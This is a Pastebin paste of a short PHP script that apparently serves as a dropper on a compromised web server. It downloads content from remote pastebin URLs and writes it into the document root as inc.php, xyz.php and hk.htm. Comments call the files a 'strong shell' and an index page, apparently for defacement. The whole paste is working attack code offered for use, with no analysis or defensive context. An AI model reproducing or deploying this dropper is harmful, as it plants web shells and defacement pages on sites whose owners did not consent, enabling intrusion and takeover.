Advertisement
Jemb0t_IR3eng

Untitled

Apr 15th, 2019
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. <?php
  2. echo 'hokuroi';
  3. function http_get($url){
  4. $im = curl_init($url);
  5. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  6. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  7. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  8. curl_setopt($im, CURLOPT_HEADER, 0);
  9. return curl_exec($im);
  10. curl_close($im);
  11. }
  12. $check = $_SERVER['DOCUMENT_ROOT'] . "/sites/default/files/inc.php" ; // strong shell string is hokuroi
  13. $text = http_get('https://pastebin.com/G73up8qr');
  14. $open = fopen($check, 'w');
  15. fwrite($open, $text);
  16. fclose($open);
  17. if(file_exists($check)){
  18. echo $check."</br>";
  19. }else
  20. echo "not exits";
  21. echo "done .\n " ;
  22. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/sites/default/xyz.php" ;
  23. $text2 = http_get('https://pastebin.com/G73up8qr'); // string to find is hokuroi
  24. $open2 = fopen($check2, 'w');
  25. fwrite($open2, $text2);
  26. fclose($open2);
  27. if(file_exists($check2)){
  28. echo $check2."</br>";
  29. }else
  30. echo "not exits2";
  31. echo "done2 .\n " ;
  32.  
  33. $check3=$_SERVER['DOCUMENT_ROOT'] . "/hk.htm" ;
  34. $text3 = http_get('https://pastebin.com/ryWVPpcY'); // index file
  35. $op3=fopen($check3, 'w');
  36. fwrite($op3,$text3);
  37. fclose($op3);
  38.  
  39.  
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement